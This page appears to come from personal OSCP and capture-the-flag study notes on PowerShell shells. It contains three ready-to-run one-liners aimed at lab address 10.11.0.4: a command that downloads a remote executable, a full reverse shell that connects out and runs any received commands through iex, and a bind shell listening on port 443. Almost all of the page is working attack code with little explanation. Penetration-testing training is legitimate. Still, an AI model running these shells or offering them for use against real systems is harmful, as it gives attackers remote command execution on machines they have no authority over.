OSCP + CTF
  • Windows Privilege Escalation
  • Most Important Links
  • Tooling
    • Apache
    • Windows Basic Recon
    • Find
    • Recon
    • DNS
    • Socat
    • Fave sql Injection
    • Xterm setup
    • Powershell Shells
    • Powershell General Info
    • Powercat
    • Fucking SMB
    • Fucking LDAP
    • Tunneling + Pivoting
      • Chisel
    • Powershell
  • Web CTF
  • General Helpful Links
  • Music OBVI
  • MySQL Privilege Escalation
  • sudo -l
  • phpMyAdmin
  • Squid 🦑
  • OSCP Labs
    • Assembling The Pieces
    • 10.11.1.101
    • 10.11.1.14
    • 10.11.1.141
    • 10.11.1.252
    • 1011.1.35
    • 10.11.1.237
    • 10.11.1.71
    • 10.11.1.50
  • HTB
    • Agile
  • OSCP Proving Grounds
    • Template
    • Authby
    • Nibbles
    • Fail
    • CTF1
Powered by GitBook
On this page

Was this helpful?

  1. Tooling

Powershell Shells

Ugh Gross...

Download a file

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')" wget.exe -V

Reverse Shell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Bind Shell

powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"

Last updated 2 years ago

Was this helpful?